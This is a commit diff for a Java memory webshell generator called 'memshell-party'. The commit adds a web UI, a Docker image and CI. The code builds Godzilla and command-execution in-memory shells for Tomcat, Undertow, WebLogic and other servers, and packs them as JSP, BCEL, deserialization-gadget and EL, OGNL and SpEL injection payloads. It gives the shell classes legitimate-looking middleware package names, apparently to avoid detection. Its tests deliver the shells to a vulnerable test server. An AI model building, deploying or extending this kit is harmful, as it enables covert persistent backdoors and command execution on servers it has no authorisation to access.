feat: support boot-ui

This commit is contained in:
ReaJason
2024-12-20 01:15:12 +08:00
parent da4a5b234d
commit 3b0aeaa294
81 changed files with 1556 additions and 929 deletions
+66
View File
@@ -0,0 +1,66 @@
name: Build
on:
push:
paths-ignore:
- 'docs/**'
- '**.md'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
jobs:
build:
name: Build Jar
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Java
uses: actions/setup-java@v4
with:
distribution: 'temurin'
java-version: 17
- name: Setup Gradle
uses: gradle/actions/setup-gradle@v4
- uses: actions/setup-node@v4
with:
node-version: '23'
- uses: oven-sh/setup-bun@v2
with:
bun-version: latest
- name: Build Web
run: bun install && bun build && bash copy-build.sh
- name: Build with Gradle
run: ./gradlew :boot:bootjar
- name: Upload Jar
uses: actions/upload-artifact@v4
with:
name: boot
path: boot/build/libs/boot.jar
push:
name: Docker Push
needs: [ build ]
runs-on: ubuntu-latest
steps:
- name: Download Jar
uses: actions/download-artifact@v4
with:
name: boot
path: boot/build/libs
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
username: ${{ vars.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_TOKEN }}
- name: Set up QEMU
uses: docker/setup-qemu-action@v3
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Build and push
uses: docker/build-push-action@v6
with:
context: boot/
platforms: linux/amd64,linux/arm64
push: true
tags: reajason/memshell-party:latest
+12
View File
@@ -0,0 +1,12 @@
FROM eclipse-temurin:17-jre
LABEL authors="ReaJason<[email protected]>"
WORKDIR /app
COPY build/libs/boot.jar app.jar
ENV JAVA_OPTS="" \
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
+33 -7
View File
@@ -5,7 +5,7 @@ plugins {
}
group = 'com.reajason.javaweb'
version = '0.0.1-SNAPSHOT'
version = ''
java {
toolchain {
@@ -13,21 +13,47 @@ java {
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
configurations {
compileOnly {
extendsFrom annotationProcessor
}
}
repositories {
mavenCentral()
}
dependencies {
implementation project(":deserialize")
implementation project(":generator")
implementation(project(":generator")) {
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation(project(":deserialize")) {
exclude group: 'commons-logging', module: 'commons-logging'
}
implementation 'org.apache.bcel:bcel:5.2'
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
implementation 'org.springframework.boot:spring-boot-starter-web'
implementation 'org.springframework.boot:spring-boot-starter-tomcat'
implementation 'com.google.code.gson:gson:2.11.0'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
@@ -13,4 +13,4 @@ public class BootApplication {
SpringApplication.run(BootApplication.class, args);
}
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.api;
import lombok.AllArgsConstructor;
import lombok.Data;
import lombok.NoArgsConstructor;
/**
* @author ReaJason
* @since 2024/5/30
*/
@Data
@NoArgsConstructor
@AllArgsConstructor
public class ErrorResponse {
private String error;
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.boot.api;
import lombok.extern.slf4j.Slf4j;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestControllerAdvice;
/**
* @author ReaJason
* @since 2024/5/30
*/
@RestControllerAdvice
@Slf4j
public class GlobalExceptionHandler {
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(Throwable.class)
public ErrorResponse handleThrowable(Throwable throwable) {
log.error("请求出错", throwable);
return new ErrorResponse(throwable.getMessage());
}
}
@@ -3,28 +3,27 @@ package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.entity.Config;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.packer.Packer;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.*;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2024/12/13
*/
@RestController("/config")
@RestController
@RequestMapping("/config")
@CrossOrigin("*")
public class ConfigController {
@RequestMapping
public ResponseEntity<?> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
List<String> servers = new ArrayList<>();
for (Server value : Server.values()) {
AbstractShell shell = value.getShell();
if (shell != null) {
@@ -34,22 +33,24 @@ public class ConfigController {
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
map.put(shellTool.name(), supportedShellTypes);
}
servers.add(value.name());
coreMap.put(value.name(), map);
}
}
Config config = new Config();
config.setServers(servers);
config.setServers(
Arrays.stream(Server.values())
.filter(s -> s.getShell() != null)
.map(Server::name)
.collect(Collectors.toList())
);
config.setCore(coreMap);
Map<String, Map<?, ?>> packerMap = new HashMap<>(16);
for (Packer.INSTANCE value : Packer.INSTANCE.values()) {
if (value.equals(Packer.INSTANCE.Deserialize)) {
packerMap.put(value.name(), Map.of("payloads", PayloadType.values()));
} else {
packerMap.put(value.name(), null);
}
}
config.setPacker(packerMap);
config.setPackers(Arrays.stream(Packer.INSTANCE.values())
.collect(Collectors.toMap(
Packer.INSTANCE::getDesc,
Packer.INSTANCE::name,
(e1, e2) -> e1,
LinkedHashMap::new
)));
return ResponseEntity.ok(config);
}
}
@@ -0,0 +1,30 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.boot.dto.GenerateRequest;
import com.reajason.javaweb.boot.dto.GenerateResponse;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.InjectorConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.config.ShellToolConfig;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
/**
* @author ReaJason
* @since 2024/12/18
*/
@RestController
@RequestMapping("/generate")
@CrossOrigin("*")
public class GeneratorController {
@PostMapping
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
ShellConfig shellConfig = request.getShellConfig();
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
InjectorConfig injectorConfig = request.getInjectorConfig();
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
String packResult = request.getPacker().getPacker().pack(generateResult);
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
/**
* @author ReaJason
* @since 2024/12/19
*/
@Controller
public class ViewController {
@GetMapping("/")
public String index() {
return "index";
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
public class GenerateRequest {
private ShellConfig shellConfig;
private ShellToolConfigDTO shellToolConfig;
private InjectorConfig injectorConfig;
private Packer.INSTANCE packer;
public ShellToolConfig parseShellToolConfig() {
if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) {
return GodzillaConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.pass(shellToolConfig.getGodzillaPass())
.key(shellToolConfig.getGodzillaKey())
.headerName(shellToolConfig.getGodzillaHeaderName())
.headerValue(shellToolConfig.getGodzillaHeaderValue())
.build();
}
if (shellConfig.getShellTool().equals(ShellTool.Command)) {
return CommandConfig.builder()
.shellClassName(shellToolConfig.getShellClassName())
.paramName(shellToolConfig.getCommandParamName())
.build();
}
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
}
@Data
static class ShellToolConfigDTO {
private String shellClassName;
private String godzillaPass;
private String godzillaKey;
private String godzillaHeaderName;
private String godzillaHeaderValue;
private String commandParamName;
}
}
@@ -0,0 +1,16 @@
package com.reajason.javaweb.boot.dto;
import com.reajason.javaweb.config.GenerateResult;
import lombok.AllArgsConstructor;
import lombok.Data;
/**
* @author ReaJason
* @since 2024/12/18
*/
@Data
@AllArgsConstructor
public class GenerateResponse {
private GenerateResult generateResult;
private String packResult;
}
@@ -13,5 +13,5 @@ import java.util.Map;
public class Config {
private List<String> servers;
private Map<String, Map<?, ?>> core;
private Map<String, Map<?, ?>> packer;
private Map<String, String> packers;
}
+2
View File
@@ -52,6 +52,8 @@ dependencies {
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
// implementation fileTree('libs')
implementation 'xalan:xalan:2.7.0'
implementation 'org.apache.bcel:bcel:5.2'
implementation 'commons-io:commons-io:2.+'
implementation 'org.apache.commons:commons-lang3:3.+'
@@ -3,14 +3,14 @@ package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import com.reajason.javaweb.util.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
/**
* @author ReaJason
@@ -24,6 +24,7 @@ public class GeneratorMain {
.shellTool(ShellTool.Command)
.shellType(Constants.FILTER)
.targetJreVersion(Opcodes.V1_6)
.debug(true)
.build();
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass("pass")
@@ -37,7 +38,7 @@ public class GeneratorMain {
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
System.out.println(new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult)));
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
}
}
@@ -47,11 +48,19 @@ public class GeneratorMain {
if (shell == null) {
throw new IllegalArgumentException("Unsupported server");
}
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
}
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
}
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
}
@SneakyThrows
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
if (generateResult != null) {
return packerInstance.getPacker().pack(generateResult);
@@ -16,7 +16,12 @@ import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
import static net.bytebuddy.jar.asm.Opcodes.POP;
/**
* Debug 信息打印移除器,目前仅支持移除 System.out.println() - printf 还不支持) 和 e.printStackTrace()
* Debug 信息打印移除器
* 目前仅支持移除以下几种
* <br />
* 1. System.out.println() - printf 还不支持)
* 2. e.printStackTrace()
* 3. Logger.info (java.util)
*
* @author ReaJason
*/
@@ -13,9 +13,11 @@ import org.apache.commons.codec.binary.Base64;
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private long shellSize;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private long injectorSize;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
private ShellToolConfig shellToolConfig;
@@ -25,12 +27,14 @@ public class GenerateResult {
public GenerateResult build() {
if (shellBytes != null) {
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
shellSize = shellBytes.length;
}
if (injectorBytes != null) {
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
injectorSize = injectorBytes.length;
}
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
}
}
}
@@ -27,12 +27,15 @@ public enum Server {
/**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/
JBoss(new JbossShell()),
JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
*/
Undertow(new UndertowShell()),
JBossEAP7(new UndertowShell()),
WildFly(new UndertowShell()),
/**
* SpringMVC 框架
@@ -19,11 +19,11 @@ public class ShellToolConfig {
/**
* 模板类 shellClass
*/
private Class<?> clazz;
private Class<?> shellClass;
/**
* shellClass 的类名
*/
@Builder.Default
private String className = CommonUtil.generateShellClassName();
private String shellClassName = CommonUtil.generateShellClassName();
}
@@ -29,8 +29,8 @@ public abstract class AbstractShell {
*/
public List<String> getSupportedShellTypes(ShellTool tool) {
return switch (tool) {
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
case Command -> getCommandShellMap().keySet().stream().toList();
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
default -> Collections.emptyList();
};
}
@@ -59,14 +59,14 @@ public abstract class AbstractShell {
Class<?> shellClass = shellInjectorPair.getLeft();
Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setClazz(shellClass);
shellToolConfig.setShellClass(shellClass);
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig = injectorConfig
.toBuilder()
.injectorClass(injectorClass)
.shellClassName(shellToolConfig.getClassName())
.shellClassName(shellToolConfig.getShellClassName())
.shellClassBytes(shellBytes).build();
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
@@ -75,7 +75,7 @@ public abstract class AbstractShell {
.shellConfig(shellConfig)
.shellToolConfig(shellToolConfig)
.injectorConfig(injectorConfig)
.shellClassName(shellToolConfig.getClassName())
.shellClassName(shellToolConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
@@ -19,14 +19,14 @@ import net.bytebuddy.matcher.ElementMatchers;
public class CommandGenerator {
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getClazz() == null) {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
}
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getClazz())
.name(shellConfig.getClassName())
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.constructor(ElementMatchers.any()).intercept(fieldSets);
@@ -11,6 +11,7 @@ import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils;
/**
* @author ReaJason
@@ -26,15 +27,18 @@ public class GodzillaGenerator {
}
public DynamicType.Builder<?> getBuilder() {
if (godzillaConfig.getClazz() == null) {
if (godzillaConfig.getShellClass() == null) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
}
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(godzillaConfig.getClazz())
.name(godzillaConfig.getClassName())
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.constructor(ElementMatchers.any())
.intercept(SuperMethodCall.INSTANCE
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.bcel.classfile.Utility;
/**
* @author ReaJason
* @since 2024/12/19
*/
public class BCELPacker implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
}
}
@@ -0,0 +1,15 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/12/17
*/
public class Base64Packer implements Packer {
@Override
public String pack(GenerateResult generateResult) {
return Base64.encodeBase64String(generateResult.getInjectorBytes());
}
}
@@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import lombok.SneakyThrows;
import java.util.Map;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
@@ -16,17 +15,9 @@ public class DeserializePacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
}
@Override
public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
String payloadType = (String) config.get("payloadType");
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -24,8 +24,8 @@ public class ELPacker implements Packer {
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -24,8 +24,8 @@ public class FreemarkerPacker implements Packer {
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -26,9 +26,9 @@ public class JspPacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
}
}
@@ -11,11 +11,11 @@ import java.util.Objects;
* @author ReaJason
* @since 2024/12/14
*/
public class OgnlPacker implements Packer {
public class OGNLPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public OgnlPacker() {
public OGNLPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
@@ -24,8 +24,8 @@ public class OgnlPacker implements Packer {
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -17,7 +17,7 @@ public interface Packer {
* @param generateResult 生成的内存马信息
* @return 指定格式字节数组
*/
byte[] pack(GenerateResult generateResult);
String pack(GenerateResult generateResult);
/**
* 部分打包器可能需要配置来进行额外的配置项
@@ -33,38 +33,50 @@ public interface Packer {
@Getter
static enum INSTANCE {
/**
* Base64
*/
Base64("Base64", new Base64Packer()),
/**
* BCEL
*/
BCEL("BCEL", new BCELPacker()),
/**
* JSP 打包器
*/
JSP(new JspPacker()),
JSP("JSP", new JspPacker()),
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker()),
ScriptEngine("脚本引擎", new ScriptEnginePacker()),
/**
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
Deserialize("反序列化(Only CB4, 1.9.x)", new DeserializePacker()),
/**
* EL
*/
EL(new ELPacker()),
EL("EL 表达式", new ELPacker()),
Ognl(new OgnlPacker()),
OGNL("OGNL 表达式", new OGNLPacker()),
SpEL(new SpELPacker()),
SpEL("SpEL 表达式", new SpELPacker()),
Velocity(new VelocityPacker()),
Freemarker("Freemarker", new FreemarkerPacker()),
Freemarker(new FreemarkerPacker()),
Velocity("Velocity", new VelocityPacker()),
;
private final String desc;
private final Packer packer;
INSTANCE(Packer packer) {
INSTANCE(String desc, Packer packer) {
this.desc = desc;
this.packer = packer;
}
}
@@ -25,14 +25,13 @@ public class ScriptEnginePacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
public String pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
return jsTemplate.replace("{{className}}", injectorClassName)
.replace("{{base64Str}}", injectorBytesBase64Str)
.replace("\n", "")
.replaceAll("(?m)^[ \t]+|[ \t]+$", "")
.replaceAll("[ \t]{2,}", " ")
.getBytes();
.replaceAll("[ \t]{2,}", " ");
}
}
@@ -24,8 +24,8 @@ public class SpELPacker implements Packer {
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -24,8 +24,8 @@ public class VelocityPacker implements Packer {
}
@Override
public byte[] pack(GenerateResult generateResult) {
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -1,5 +1,7 @@
package com.reajason.javaweb.util;
import com.reajason.javaweb.config.Server;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.SecureRandom;
@@ -24,6 +26,14 @@ public class CommonUtil {
"com.google.gso",
"ch.qos.logback"
};
private static final String[] MIDDLEWARE_NAMES = {
"Error",
"Log",
"Report",
"Auth",
"OAuth",
"Checker"
};
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
@@ -55,4 +65,22 @@ public class CommonUtil {
public static String generateInjectorClassName() {
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
}
}
public static String generateShellClassName(Server server, String shellType) {
String packageName = switch (server) {
case Jetty -> "org.eclipse.jetty.servlet.handlers";
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
case SpringMVC -> "org.springframework.boot.mvc.handlers";
case SpringWebflux -> "org.springframework.boot.webflux.handlers";
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
case WebLogic -> "weblogic.servlet.internal.handlers";
case Resin -> "com.caucho.server.dispatch.handlers";
default -> "org.apache.catalina.web.handlers";
};
return packageName
+ "." + getRandomString(1)
+ "." + getRandomString(1)
+ "." + getRandomString(1)
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
}
@@ -13,8 +13,6 @@ import net.bytebuddy.matcher.ElementMatchers;
import net.bytebuddy.pool.TypePool;
import org.junit.jupiter.api.Test;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.logging.Logger;
import static org.junit.jupiter.api.Assertions.assertNotEquals;
@@ -88,7 +86,7 @@ class LogRemoveVisitorWrapperTest {
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
.make();
byte[] bytes = make.getBytes();
Files.write(Paths.get("xx.class"), bytes);
// Files.write(Paths.get("xx.class"), bytes);
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
modifiedClass.getMethod("methodWithLogs").invoke(instance);
File diff suppressed because one or more lines are too long
@@ -33,13 +33,13 @@ class CommandFilterTest {
void generate(Class<?> clazz, String className) {
ShellConfig generateConfig = new ShellConfig();
CommandConfig shellConfig = CommandConfig.builder()
.clazz(clazz)
.className(className)
.shellClass(clazz)
.shellClassName(className)
.paramName("cmd")
.build();
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
}
}
@@ -40,12 +40,12 @@ class GodzillaTest {
@MethodSource("casesProvider")
void generate(Class<?> clazz, String className) {
GodzillaConfig shellConfig = shellConfigBuilder
.className(className)
.clazz(clazz)
.shellClassName(className)
.shellClass(clazz)
.build();
byte[] bytes = new GodzillaGenerator(config, shellConfig).getBytes();
Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
@@ -42,37 +42,38 @@ public class ShellAssertionTool {
.headerName("User-Agent").headerValue(headerValue)
.build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
String content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
assertInjectIsOk(url, shellType, shellTool, content, packer);
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
break;
case Command:
String paramName = "Command" + shellType + packer.name();
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
String commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, commandConfig);
}
}
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
log.info(content);
switch (packer) {
case JSP -> {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jsp";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
}
case ScriptEngine -> VulTool.postData(url + "/js", new String(content));
case EL -> VulTool.postData(url + "/el", new String(content));
case SpEL -> VulTool.postData(url + "/spel", new String(content));
case Ognl -> VulTool.postData(url + "/ognl", new String(content));
case Freemarker -> VulTool.postData(url + "/freemarker", new String(content));
case Velocity -> VulTool.postData(url + "/velocity", new String(content));
